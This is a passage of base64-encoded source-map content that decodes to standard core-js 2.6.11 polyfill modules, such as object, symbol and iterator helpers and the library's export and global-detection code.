4uL21vZHVsZXMvZXM2LnN0cmluZy5pdGVyYXRvcicpO1xubW9kdWxlLmV4cG9ydHMgPSByZXF1aXJlKCcuLi9tb2R1bGVzL2NvcmUuaXMtaXRlcmFibGUnKTtcbiIsInJlcXVpcmUoJy4uLy4uL21vZHVsZXMvZXM2Lm9iamVjdC5jcmVhdGUnKTtcbnZhciAkT2JqZWN0ID0gcmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9fY29yZScpLk9iamVjdDtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gY3JlYXRlKFAsIEQpIHtcbiAgcmV0dXJuICRPYmplY3QuY3JlYXRlKFAsIEQpO1xufTtcbiIsInJlcXVpcmUoJy4uLy4uL21vZHVsZXMvZXM2Lm9iamVjdC5kZWZpbmUtcHJvcGVydHknKTtcbnZhciAkT2JqZWN0ID0gcmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9fY29yZScpLk9iamVjdDtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gZGVmaW5lUHJvcGVydHkoaXQsIGtleSwgZGVzYykge1xuICByZXR1cm4gJE9iamVjdC5kZWZpbmVQcm9wZXJ0eShpdCwga2V5LCBkZXNjKTtcbn07XG4iLCJyZXF1aXJlKCcuLi8uLi9tb2R1bGVzL2VzNi5vYmplY3QuZ2V0LXByb3RvdHlwZS1vZicpO1xubW9kdWxlLmV4cG9ydHMgPSByZXF1aXJlKCcuLi8uLi9tb2R1bGVzL19jb3JlJykuT2JqZWN0LmdldFByb3RvdHlwZU9mO1xuIiwicmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9lczYub2JqZWN0LmtleXMnKTtcbm1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9fY29yZScpLk9iamVjdC5rZXlzO1xuIiwicmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9lczYub2JqZWN0LnNldC1wcm90b3R5cGUtb2YnKTtcbm1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9fY29yZScpLk9iamVjdC5zZXRQcm90b3R5cGVPZjtcbiIsInJlcXVpcmUoJy4uLy4uL21vZHVsZXMvZXM2LnN5bWJvbCcpO1xucmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9lczYub2JqZWN0LnRvLXN0cmluZycpO1xucmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9lczcuc3ltYm9sLmFzeW5jLWl0ZXJhdG9yJyk7XG5yZXF1aXJlKCcuLi8uLi9tb2R1bGVzL2VzNy5zeW1ib2wub2JzZXJ2YWJsZScpO1xubW9kdWxlLmV4cG9ydHMgPSByZXF1aXJlKCcuLi8uLi9tb2R1bGVzL19jb3JlJykuU3ltYm9sO1xuIiwicmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9lczYuc3RyaW5nLml0ZXJhdG9yJyk7XG5yZXF1aXJlKCcuLi8uLi9tb2R1bGVzL3dlYi5kb20uaXRlcmFibGUnKTtcbm1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9fd2tzLWV4dCcpLmYoJ2l0ZXJhdG9yJyk7XG4iLCJtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCkge1xuICBpZiAodHlwZW9mIGl0ICE9ICdmdW5jdGlvbicpIHRocm93IFR5cGVFcnJvcihpdCArICcgaXMgbm90IGEgZnVuY3Rpb24hJyk7XG4gIHJldHVybiBpdDtcbn07XG4iLCJtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uICgpIHsgLyogZW1wdHkgKi8gfTtcbiIsInZhciBpc09iamVjdCA9IHJlcXVpcmUoJy4vX2lzLW9iamVjdCcpO1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXQpIHtcbiAgaWYgKCFpc09iamVjdChpdCkpIHRocm93IFR5cGVFcnJvcihpdCArICcgaXMgbm90IGFuIG9iamVjdCEnKTtcbiAgcmV0dXJuIGl0O1xufTtcbiIsIi8vIGZhbHNlIC0+IEFycmF5I2luZGV4T2Zcbi8vIHRydWUgIC0+IEFycmF5I2luY2x1ZGVzXG52YXIgdG9JT2JqZWN0ID0gcmVxdWlyZSgnLi9fdG8taW9iamVjdCcpO1xudmFyIHRvTGVuZ3RoID0gcmVxdWlyZSgnLi9fdG8tbGVuZ3RoJyk7XG52YXIgdG9BYnNvbHV0ZUluZGV4ID0gcmVxdWlyZSgnLi9fdG8tYWJzb2x1dGUtaW5kZXgnKTtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKElTX0lOQ0xVREVTKSB7XG4gIHJldHVybiBmdW5jdGlvbiAoJHRoaXMsIGVsLCBmcm9tSW5kZXgpIHtcbiAgICB2YXIgTyA9IHRvSU9iamVjdCgkdGhpcyk7XG4gICAgdmFyIGxlbmd0aCA9IHRvTGVuZ3RoKE8ubGVuZ3RoKTtcbiAgICB2YXIgaW5kZXggPSB0b0Fic29sdXRlSW5kZXgoZnJvbUluZGV4LCBsZW5ndGgpO1xuICAgIHZhciB2YWx1ZTtcbiAgICAvLyBBcnJheSNpbmNsdWRlcyB1c2VzIFNhbWVWYWx1ZVplcm8gZXF1YWxpdHkgYWxnb3JpdGhtXG4gICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXNlbGYtY29tcGFyZVxuICAgIGlmIChJU19JTkNMVURFUyAmJiBlbCAhPSBlbCkgd2hpbGUgKGxlbmd0aCA+IGluZGV4KSB7XG4gICAgICB2YWx1ZSA9IE9baW5kZXgrK107XG4gICAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgbm8tc2VsZi1jb21wYXJlXG4gICAgICBpZiAodmFsdWUgIT0gdmFsdWUpIHJldHVybiB0cnVlO1xuICAgIC8vIEFycmF5I2luZGV4T2YgaWdub3JlcyBob2xlcywgQXJyYXkjaW5jbHVkZXMgLSBub3RcbiAgICB9IGVsc2UgZm9yICg7bGVuZ3RoID4gaW5kZXg7IGluZGV4KyspIGlmIChJU19JTkNMVURFUyB8fCBpbmRleCBpbiBPKSB7XG4gICAgICBpZiAoT1tpbmRleF0gPT09IGVsKSByZXR1cm4gSVNfSU5DTFVERVMgfHwgaW5kZXggfHwgMDtcbiAgICB9IHJldHVybiAhSVNfSU5DTFVERVMgJiYgLTE7XG4gIH07XG59O1xuIiwiLy8gZ2V0dGluZyB0YWcgZnJvbSAxOS4xLjMuNiBPYmplY3QucHJvdG90eXBlLnRvU3RyaW5nKClcbnZhciBjb2YgPSByZXF1aXJlKCcuL19jb2YnKTtcbnZhciBUQUcgPSByZXF1aXJlKCcuL193a3MnKSgndG9TdHJpbmdUYWcnKTtcbi8vIEVTMyB3cm9uZyBoZXJlXG52YXIgQVJHID0gY29mKGZ1bmN0aW9uICgpIHsgcmV0dXJuIGFyZ3VtZW50czsgfSgpKSA9PSAnQXJndW1lbnRzJztcblxuLy8gZmFsbGJhY2sgZm9yIElFMTEgU2NyaXB0IEFjY2VzcyBEZW5pZWQgZXJyb3JcbnZhciB0cnlHZXQgPSBmdW5jdGlvbiAoaXQsIGtleSkge1xuICB0cnkge1xuICAgIHJldHVybiBpdFtrZXldO1xuICB9IGNhdGNoIChlKSB7IC8qIGVtcHR5ICovIH1cbn07XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0KSB7XG4gIHZhciBPLCBULCBCO1xuICByZXR1cm4gaXQgPT09IHVuZGVmaW5lZCA/ICdVbmRlZmluZWQnIDogaXQgPT09IG51bGwgPyAnTnVsbCdcbiAgICAvLyBAQHRvU3RyaW5nVGFnIGNhc2VcbiAgICA6IHR5cGVvZiAoVCA9IHRyeUdldChPID0gT2JqZWN0KGl0KSwgVEFHKSkgPT0gJ3N0cmluZycgPyBUXG4gICAgLy8gYnVpbHRpblRhZyBjYXNlXG4gICAgOiBBUkcgPyBjb2YoTylcbiAgICAvLyBFUzMgYXJndW1lbnRzIGZhbGxiYWNrXG4gICAgOiAoQiA9IGNvZihPKSkgPT0gJ09iamVjdCcgJiYgdHlwZW9mIE8uY2FsbGVlID09ICdmdW5jdGlvbicgPyAnQXJndW1lbnRzJyA6IEI7XG59O1xuIiwidmFyIHRvU3RyaW5nID0ge30udG9TdHJpbmc7XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0KSB7XG4gIHJldHVybiB0b1N0cmluZy5jYWxsKGl0KS5zbGljZSg4LCAtMSk7XG59O1xuIiwidmFyIGNvcmUgPSBtb2R1bGUuZXhwb3J0cyA9IHsgdmVyc2lvbjogJzIuNi4xMScgfTtcbmlmICh0eXBlb2YgX19lID09ICdudW1iZXInKSBfX2UgPSBjb3JlOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG5vLXVuZGVmXG4iLCIndXNlIHN0cmljdCc7XG52YXIgJGRlZmluZVByb3BlcnR5ID0gcmVxdWlyZSgnLi9fb2JqZWN0LWRwJyk7XG52YXIgY3JlYXRlRGVzYyA9IHJlcXVpcmUoJy4vX3Byb3BlcnR5LWRlc2MnKTtcblxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAob2JqZWN0LCBpbmRleCwgdmFsdWUpIHtcbiAgaWYgKGluZGV4IGluIG9iamVjdCkgJGRlZmluZVByb3BlcnR5LmYob2JqZWN0LCBpbmRleCwgY3JlYXRlRGVzYygwLCB2YWx1ZSkpO1xuICBlbHNlIG9iamVjdFtpbmRleF0gPSB2YWx1ZTtcbn07XG4iLCIvLyBvcHRpb25hbCAvIHNpbXBsZSBjb250ZXh0IGJpbmRpbmdcbnZhciBhRnVuY3Rpb24gPSByZXF1aXJlKCcuL19hLWZ1bmN0aW9uJyk7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChmbiwgdGhhdCwgbGVuZ3RoKSB7XG4gIGFGdW5jdGlvbihmbik7XG4gIGlmICh0aGF0ID09PSB1bmRlZmluZWQpIHJldHVybiBmbjtcbiAgc3dpdGNoIChsZW5ndGgpIHtcbiAgICBjYXNlIDE6IHJldHVybiBmdW5jdGlvbiAoYSkge1xuICAgICAgcmV0dXJuIGZuLmNhbGwodGhhdCwgYSk7XG4gICAgfTtcbiAgICBjYXNlIDI6IHJldHVybiBmdW5jdGlvbiAoYSwgYikge1xuICAgICAgcmV0dXJuIGZuLmNhbGwodGhhdCwgYSwgYik7XG4gICAgfTtcbiAgICBjYXNlIDM6IHJldHVybiBmdW5jdGlvbiAoYSwgYiwgYykge1xuICAgICAgcmV0dXJuIGZuLmNhbGwodGhhdCwgYSwgYiwgYyk7XG4gICAgfTtcbiAgfVxuICByZXR1cm4gZnVuY3Rpb24gKC8qIC4uLmFyZ3MgKi8pIHtcbiAgICByZXR1cm4gZm4uYXBwbHkodGhhdCwgYXJndW1lbnRzKTtcbiAgfTtcbn07XG4iLCIvLyA3LjIuMSBSZXF1aXJlT2JqZWN0Q29lcmNpYmxlKGFyZ3VtZW50KVxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXQpIHtcbiAgaWYgKGl0ID09IHVuZGVmaW5lZCkgdGhyb3cgVHlwZUVycm9yKFwiQ2FuJ3QgY2FsbCBtZXRob2Qgb24gIFwiICsgaXQpO1xuICByZXR1cm4gaXQ7XG59O1xuIiwiLy8gVGhhbmsncyBJRTggZm9yIGhpcyBmdW5ueSBkZWZpbmVQcm9wZXJ0eVxubW9kdWxlLmV4cG9ydHMgPSAhcmVxdWlyZSgnLi9fZmFpbHMnKShmdW5jdGlvbiAoKSB7XG4gIHJldHVybiBPYmplY3QuZGVmaW5lUHJvcGVydHkoe30sICdhJywgeyBnZXQ6IGZ1bmN0aW9uICgpIHsgcmV0dXJuIDc7IH0gfSkuYSAhPSA3O1xufSk7XG4iLCJ2YXIgaXNPYmplY3QgPSByZXF1aXJlKCcuL19pcy1vYmplY3QnKTtcbnZhciBkb2N1bWVudCA9IHJlcXVpcmUoJy4vX2dsb2JhbCcpLmRvY3VtZW50O1xuLy8gdHlwZW9mIGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQgaXMgJ29iamVjdCcgaW4gb2xkIElFXG52YXIgaXMgPSBpc09iamVjdChkb2N1bWVudCkgJiYgaXNPYmplY3QoZG9jdW1lbnQuY3JlYXRlRWxlbWVudCk7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCkge1xuICByZXR1cm4gaXMgPyBkb2N1bWVudC5jcmVhdGVFbGVtZW50KGl0KSA6IHt9O1xufTtcbiIsIi8vIElFIDgtIGRvbid0IGVudW0gYnVnIGtleXNcbm1vZHVsZS5leHBvcnRzID0gKFxuICAnY29uc3RydWN0b3IsaGFzT3duUHJvcGVydHksaXNQcm90b3R5cGVPZixwcm9wZXJ0eUlzRW51bWVyYWJsZSx0b0xvY2FsZVN0cmluZyx0b1N0cmluZyx2YWx1ZU9mJ1xuKS5zcGxpdCgnLCcpO1xuIiwiLy8gYWxsIGVudW1lcmFibGUgb2JqZWN0IGtleXMsIGluY2x1ZGVzIHN5bWJvbHNcbnZhciBnZXRLZXlzID0gcmVxdWlyZSgnLi9fb2JqZWN0LWtleXMnKTtcbnZhciBnT1BTID0gcmVxdWlyZSgnLi9fb2JqZWN0LWdvcHMnKTtcbnZhciBwSUUgPSByZXF1aXJlKCcuL19vYmplY3QtcGllJyk7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCkge1xuICB2YXIgcmVzdWx0ID0gZ2V0S2V5cyhpdCk7XG4gIHZhciBnZXRTeW1ib2xzID0gZ09QUy5mO1xuICBpZiAoZ2V0U3ltYm9scykge1xuICAgIHZhciBzeW1ib2xzID0gZ2V0U3ltYm9scyhpdCk7XG4gICAgdmFyIGlzRW51bSA9IHBJRS5mO1xuICAgIHZhciBpID0gMDtcbiAgICB2YXIga2V5O1xuICAgIHdoaWxlIChzeW1ib2xzLmxlbmd0aCA+IGkpIGlmIChpc0VudW0uY2FsbChpdCwga2V5ID0gc3ltYm9sc1tpKytdKSkgcmVzdWx0LnB1c2goa2V5KTtcbiAgfSByZXR1cm4gcmVzdWx0O1xufTtcbiIsInZhciBnbG9iYWwgPSByZXF1aXJlKCcuL19nbG9iYWwnKTtcbnZhciBjb3JlID0gcmVxdWlyZSgnLi9fY29yZScpO1xudmFyIGN0eCA9IHJlcXVpcmUoJy4vX2N0eCcpO1xudmFyIGhpZGUgPSByZXF1aXJlKCcuL19oaWRlJyk7XG52YXIgaGFzID0gcmVxdWlyZSgnLi9faGFzJyk7XG52YXIgUFJPVE9UWVBFID0gJ3Byb3RvdHlwZSc7XG5cbnZhciAkZXhwb3J0ID0gZnVuY3Rpb24gKHR5cGUsIG5hbWUsIHNvdXJjZSkge1xuICB2YXIgSVNfRk9SQ0VEID0gdHlwZSAmICRleHBvcnQuRjtcbiAgdmFyIElTX0dMT0JBTCA9IHR5cGUgJiAkZXhwb3J0Lkc7XG4gIHZhciBJU19TVEFUSUMgPSB0eXBlICYgJGV4cG9ydC5TO1xuICB2YXIgSVNfUFJPVE8gPSB0eXBlICYgJGV4cG9ydC5QO1xuICB2YXIgSVNfQklORCA9IHR5cGUgJiAkZXhwb3J0LkI7XG4gIHZhciBJU19XUkFQID0gdHlwZSAmICRleHBvcnQuVztcbiAgdmFyIGV4cG9ydHMgPSBJU19HTE9CQUwgPyBjb3JlIDogY29yZVtuYW1lXSB8fCAoY29yZVtuYW1lXSA9IHt9KTtcbiAgdmFyIGV4cFByb3RvID0gZXhwb3J0c1tQUk9UT1RZUEVdO1xuICB2YXIgdGFyZ2V0ID0gSVNfR0xPQkFMID8gZ2xvYmFsIDogSVNfU1RBVElDID8gZ2xvYmFsW25hbWVdIDogKGdsb2JhbFtuYW1lXSB8fCB7fSlbUFJPVE9UWVBFXTtcbiAgdmFyIGtleSwgb3duLCBvdXQ7XG4gIGlmIChJU19HTE9CQUwpIHNvdXJjZSA9IG5hbWU7XG4gIGZvciAoa2V5IGluIHNvdXJjZSkge1xuICAgIC8vIGNvbnRhaW5zIGluIG5hdGl2ZVxuICAgIG93biA9ICFJU19GT1JDRUQgJiYgdGFyZ2V0ICYmIHRhcmdldFtrZXldICE9PSB1bmRlZmluZWQ7XG4gICAgaWYgKG93biAmJiBoYXMoZXhwb3J0cywga2V5KSkgY29udGludWU7XG4gICAgLy8gZXhwb3J0IG5hdGl2ZSBvciBwYXNzZWRcbiAgICBvdXQgPSBvd24gPyB0YXJnZXRba2V5XSA6IHNvdXJjZVtrZXldO1xuICAgIC8vIHByZXZlbnQgZ2xvYmFsIHBvbGx1dGlvbiBmb3IgbmFtZXNwYWNlc1xuICAgIGV4cG9ydHNba2V5XSA9IElTX0dMT0JBTCAmJiB0eXBlb2YgdGFyZ2V0W2tleV0gIT0gJ2Z1bmN0aW9uJyA/IHNvdXJjZVtrZXldXG4gICAgLy8gYmluZCB0aW1lcnMgdG8gZ2xvYmFsIGZvciBjYWxsIGZyb20gZXhwb3J0IGNvbnRleHRcbiAgICA6IElTX0JJTkQgJiYgb3duID8gY3R4KG91dCwgZ2xvYmFsKVxuICAgIC8vIHdyYXAgZ2xvYmFsIGNvbnN0cnVjdG9ycyBmb3IgcHJldmVudCBjaGFuZ2UgdGhlbSBpbiBsaWJyYXJ5XG4gICAgOiBJU19XUkFQICYmIHRhcmdldFtrZXldID09IG91dCA/IChmdW5jdGlvbiAoQykge1xuICAgICAgdmFyIEYgPSBmdW5jdGlvbiAoYSwgYiwgYykge1xuICAgICAgICBpZiAodGhpcyBpbnN0YW5jZW9mIEMpIHtcbiAgICAgICAgICBzd2l0Y2ggKGFyZ3VtZW50cy5sZW5ndGgpIHtcbiAgICAgICAgICAgIGNhc2UgMDogcmV0dXJuIG5ldyBDKCk7XG4gICAgICAgICAgICBjYXNlIDE6IHJldHVybiBuZXcgQyhhKTtcbiAgICAgICAgICAgIGNhc2UgMjogcmV0dXJuIG5ldyBDKGEsIGIpO1xuICAgICAgICAgIH0gcmV0dXJuIG5ldyBDKGEsIGIsIGMpO1xuICAgICAgICB9IHJldHVybiBDLmFwcGx5KHRoaXMsIGFyZ3VtZW50cyk7XG4gICAgICB9O1xuICAgICAgRltQUk9UT1RZUEVdID0gQ1tQUk9UT1RZUEVdO1xuICAgICAgcmV0dXJuIEY7XG4gICAgLy8gbWFrZSBzdGF0aWMgdmVyc2lvbnMgZm9yIHByb3RvdHlwZSBtZXRob2RzXG4gICAgfSkob3V0KSA6IElTX1BST1RPICYmIHR5cGVvZiBvdXQgPT0gJ2Z1bmN0aW9uJyA/IGN0eChGdW5jdGlvbi5jYWxsLCBvdXQpIDogb3V0O1xuICAgIC8vIGV4cG9ydCBwcm90byBtZXRob2RzIHRvIGNvcmUuJUNPTlNUUlVDVE9SJS5tZXRob2RzLiVOQU1FJVxuICAgIGlmIChJU19QUk9UTykge1xuICAgICAgKGV4cG9ydHMudmlydHVhbCB8fCAoZXhwb3J0cy52aXJ0dWFsID0ge30pKVtrZXldID0gb3V0O1xuICAgICAgLy8gZXhwb3J0IHByb3RvIG1ldGhvZHMgdG8gY29yZS4lQ09OU1RSVUNUT1IlLnByb3RvdHlwZS4lTkFNRSVcbiAgICAgIGlmICh0eXBlICYgJGV4cG9ydC5SICYmIGV4cFByb3RvICYmICFleHBQcm90b1trZXldKSBoaWRlKGV4cFByb3RvLCBrZXksIG91dCk7XG4gICAgfVxuICB9XG59O1xuLy8gdHlwZSBiaXRtYXBcbiRleHBvcnQuRiA9IDE7ICAgLy8gZm9yY2VkXG4kZXhwb3J0LkcgPSAyOyAgIC8vIGdsb2JhbFxuJGV4cG9ydC5TID0gNDsgICAvLyBzdGF0aWNcbiRleHBvcnQuUCA9IDg7ICAgLy8gcHJvdG9cbiRleHBvcnQuQiA9IDE2OyAgLy8gYmluZFxuJGV4cG9ydC5XID0gMzI7ICAvLyB3cmFwXG4kZXhwb3J0LlUgPSA2NDsgIC8vIHNhZmVcbiRleHBvcnQuUiA9IDEyODsgLy8gcmVhbCBwcm90byBtZXRob2QgZm9yIGBsaWJyYXJ5YFxubW9kdWxlLmV4cG9ydHMgPSAkZXhwb3J0O1xuIiwibW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoZXhlYykge1xuICB0cnkge1xuICAgIHJldHVybiAhIWV4ZWMoKTtcbiAgfSBjYXRjaCAoZSkge1xuICAgIHJldHVybiB0cnVlO1xuICB9XG59O1xuIiwiLy8gaHR0cHM6Ly9naXRodWIuY29tL3psb2lyb2NrL2NvcmUtanMvaXNzdWVzLzg2I2lzc3VlY29tbWVudC0xMTU3NTkwMjhcbnZhciBnbG9iYWwgPSBtb2R1bGUuZXhwb3J0cyA9IHR5cGVvZiB3aW5kb3cgIT0gJ3VuZGVmaW5lZCcgJiYgd2luZG93Lk1hdGggPT0gTWF0aFxuICA/IHdpbmRvdyA6IHR5cGVvZiBzZWxmICE9ICd1bmRlZmluZWQnICYmIHNlbGYuTWF0aCA9PSBNYXRoID8gc2VsZlxuICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgbm8tbmV3LWZ1bmNcbiAgOiBGdW5jdGlvbigncmV0dXJuIHRoaXMnKSgpO1xuaWYgKHR5cGVvZiBfX2cgPT0gJ251bWJlcicpIF9fZyA9IGdsb2JhbDsgLy8gZXNsaW50LWRpc2FibGUtbGluZSBuby11bmRlZlxuIiwidmFyIGhhc093blByb3BlcnR5ID0ge30uaGFzT3duUHJvcGVydHk7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCwga2V5KSB7XG4gIHJldHVybiBoYXNPd25Qcm9wZXJ0eS5jYWxsKGl0LCBrZXkpO1xufTtcbiIsInZhciBkUCA9IHJlcXVpcmUoJy4vX29iamVjdC1kcCcpO1xudmFyIGNyZWF0ZURlc2MgPSByZXF1aXJlKCcuL19wcm9wZXJ0eS1kZXNjJyk7XG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4vX2Rlc2NyaXB0b3JzJykgPyBmdW5jdGlvbiAob2JqZWN0LCBrZXksIHZhbHVlKSB7XG4gIHJldHVybiBkUC5mKG9iamVjdCwga2V5LCBjcmVhdGVEZXNjKDEsIHZhbHVlKSk7XG59IDogZnVuY3Rpb24gKG9iamVjdCwga2V5LCB2YWx1ZSkge1xuICBvYmplY3Rba2V5XSA9IHZhbHVlO1xuICByZXR1cm4gb2JqZWN0O1xufTtcbiIsInZhciBkb2N1bWVudCA9IHJlcXVpcmUoJy4vX2dsb2JhbCcpLmRvY3VtZW50O1xubW9kdWxlLmV4cG9ydHMgPSBkb2N1bWVudCAmJiBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQ7XG4iLCJtb2R1bGUuZXhwb3J0cyA9ICFyZXF1aXJlKCcuL19kZXNjcmlwdG9ycycpICYmICFyZXF1aXJlKCcuL19mYWlscycpKGZ1bmN0aW9uICgpIHtcbiAgcmV0dXJuIE9iamVjdC5kZWZpbmVQcm9wZXJ0eShyZXF1aXJlKCcuL19kb20tY3JlYXRlJykoJ2RpdicpLCAnYScsIHsgZ2V0OiBmdW5jdGlvbiAoKSB7IHJldHVybiA3OyB9IH0pLmEgIT0gNztcbn0pO1xuIiwiLy8gZmFsbGJhY2sgZm9yIG5vbi1hcnJheS1saWtlIEVTMyBhbmQgbm9uLWVudW1lcmFibGUgb2xkIFY4IHN0cmluZ3NcbnZhciBjb2YgPSByZXF1aXJlKCcuL19jb2YnKTtcbi8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1wcm90b3R5cGUtYnVpbHRpbnNcbm1vZHVsZS5leHBvcnRzID0gT2JqZWN0KCd6JykucHJvcGVydHlJc0VudW1lcmFibGUoMCkgPyBPYmplY3QgOiBmdW5jdGlvbiAoaXQpIHtcbiAgcmV0dXJuIGNvZihpdCkgPT0gJ1N0cmluZycgPyBpdC5zcGxpdCgnJykgOiBPYmplY3QoaXQpO1xufTtcbiIsIi8vIGNoZWNrIG9uIGRlZmF1bHQgQXJyYXkgaXRlcmF0b3JcbnZhciBJdGVyYXRvcnMgPSByZXF1aXJlKCcuL19pdGVyYXRvcnMnKTtcbnZhciBJVEVSQVRPUiA9IHJlcXVpcmUoJy4vX3drcycpKCdpdGVyYXRvcicpO1xudmFyIEFycmF5UHJvdG8gPSBBcnJheS5wcm90b3R5cGU7XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0KSB7XG4gIHJldHVybiBpdCAhPT0gdW5kZWZpbmVkICYmIChJdGVyYXRvcnMuQXJyYXkgPT09IGl0IHx8IEFycmF5UHJvdG9bSVRFUkFUT1JdID09PSBpdCk7XG59O1xuIiwiLy8gNy4yLjIgSXNBcnJheShhcmd1bWVudClcbnZhciBjb2YgPSByZXF1aXJlKCcuL19jb2YnKTtcbm1vZHVsZS5leHBvcnRzID0gQXJyYXkuaXNBcnJheSB8fCBmdW5jdGlvbiBpc0FycmF5KGFyZykge1xuICByZXR1cm4gY29mKGFyZykgPT0gJ0FycmF5Jztcbn07XG4iLCJtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCkge1xuICByZXR1cm4gdHlwZW9mIGl0ID09PSAnb2JqZWN0JyA/IGl0ICE9PSBudWxsIDogdHlwZW9mIGl0ID09PSAnZnVuY3Rpb24nO1xufTtcbiIsIi8vIGNhbGwgc29tZXRoaW5nIG9uIGl0ZXJhdG9yIHN0ZXAgd2l0aCBzYWZlIGNsb3Npbmcgb24gZXJyb3JcbnZhciBhbk9iamVjdCA9IHJlcXVpcmUoJy4vX2FuLW9iamVjdCcpO1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXRlcmF0b3IsIGZuLCB2YWx1ZSwgZW50cmllcykge1xuICB0cnkge1xuICAgIHJldHVybiBlbnRyaWVzID8gZm4oYW5PYmplY3QodmFsdWUpWzBdLCB2YWx1ZVsxXSkgOiBmbih2YWx1ZSk7XG4gIC8vIDcuNC42IEl0ZXJhdG9yQ2xvc2UoaXRlcmF0b3IsIGNvbXBsZXRpb24pXG4gIH0gY2F0Y2ggKGUpIHtcbiAgICB2YXIgcmV0ID0gaXRlcmF0b3JbJ3JldHVybiddO1xuICAgIGlmIChyZXQgIT09IHVuZGVmaW5lZCkgYW5PYmplY3QocmV0LmNhbGwoaXRlcmF0b3IpKTtcbiAgICB0aHJvdyBlO1xuICB9XG59O1xuIiwiJ3VzZSBzdHJpY3QnO1xudmFyIGNyZWF0ZSA9IHJlcXVpcmUoJy4vX29iamVjdC1jcmVhdGUnKTtcbnZhciBkZXNjcmlwdG9yID0gcmVxdWlyZSgnLi9fcHJvcGVydHktZGVzYycpO1xudmFyIHNldFRvU3RyaW5nVGFnID0gcmVxdWlyZSgnLi9fc2V0LXRvLXN0cmluZy10YWcnKTtcbnZhciBJdGVyYXRvclByb3RvdHlwZSA9IHt9O1xuXG4vLyAyNS4xLjIuMS4xICVJdGVyYXRvclByb3RvdHlwZSVbQEBpdGVyYXRvcl0oKVxucmVxdWlyZSgnLi9faGlkZScpKEl0ZXJhdG9yUHJvdG90eXBlLCByZXF1aXJlKCcuL193a3MnKSgnaXRlcmF0b3InKSwgZnVuY3Rpb24gKCkgeyByZXR1cm4gdGhpczsgfSk7XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKENvbnN0cnVjdG9yLCBOQU1FLCBuZXh0KSB7XG4gIENvbnN0cnVjdG9yLnByb3RvdHlwZSA9IGNyZWF0ZShJdGVyYXRvclByb3RvdHlwZSwgeyBuZXh0OiBkZXNjcmlwdG9yKDEsIG5leHQpIH0pO1xuICBzZXRUb1N0cmluZ1RhZyhDb25zdHJ1Y3RvciwgTkFNRSArICcgSXRlcmF0b3InKTtcbn07XG4iLCIndXNlIHN0cmljdCc7XG52YXIgTElCUkFSWSA9IHJlcXVpcmUoJy4vX2xpYnJhcnknKTtcbnZhciAkZXhwb3J0ID0gcmVxdWlyZSgnLi9fZXhwb3J0Jyk7XG52YXIgcmVkZWZpbmUgPSByZXF1aXJlKCcuL19yZWRlZmluZScpO1xudmFyIGhpZGUgPSByZXF1aXJlKCcuL19oaWRlJyk7XG52YXIgSXRlcmF0b3JzID0gcmVxdWlyZSgnLi9faXRlcmF0b3JzJyk7XG52YXIgJGl0ZXJDcmVhdGUgPSByZXF1aXJlKCcuL19pdGVyLWNyZWF0ZScpO1xudmFyIHNldFRvU3RyaW5nVGFnID0gcmVxdWlyZSgnLi9fc2V0LXRvLXN0cmluZy10YWcnKTtcbnZhciBnZXRQcm90b3R5cGVPZiA9IHJlcXVpcmUoJy4vX29iamVjdC1ncG8nKTtcbnZhciBJVEVSQVRPUiA9IHJlcXVpcmUoJy4vX3drcycpKCdpdGVyYXRvcicpO1xudmFyIEJVR0dZID0gIShbXS5rZXlzICYmICduZXh0JyBpbiBbXS5rZXlzKCkpOyAvLyBTYWZhcmkgaGFzIGJ1Z2d5IGl0ZXJhdG9ycyB3L28gYG5leHRgXG52YXIgRkZfSVRFUkFUT1IgPSAnQEBpdGVyYXRvcic7XG52YXIgS0VZUyA9ICdrZXlzJztcbnZhciBWQUxVRVMgPSAndmFsdWVzJztcblxudmFyIHJldHVyblRoaXMgPSBmdW5jdGlvbiAoKSB7IHJldHVybiB0aGlzOyB9O1xuXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChCYXNlLCBOQU1FLCBDb25zdHJ1Y3RvciwgbmV4dCwgREVGQVVMVCwgSVNfU0VULCBGT1JDRUQpIHtcbiAgJGl0ZXJDcmVhdGUoQ29uc3RydWN0b3IsIE5BTUUsIG5leHQpO1xuICB2YXIgZ2V0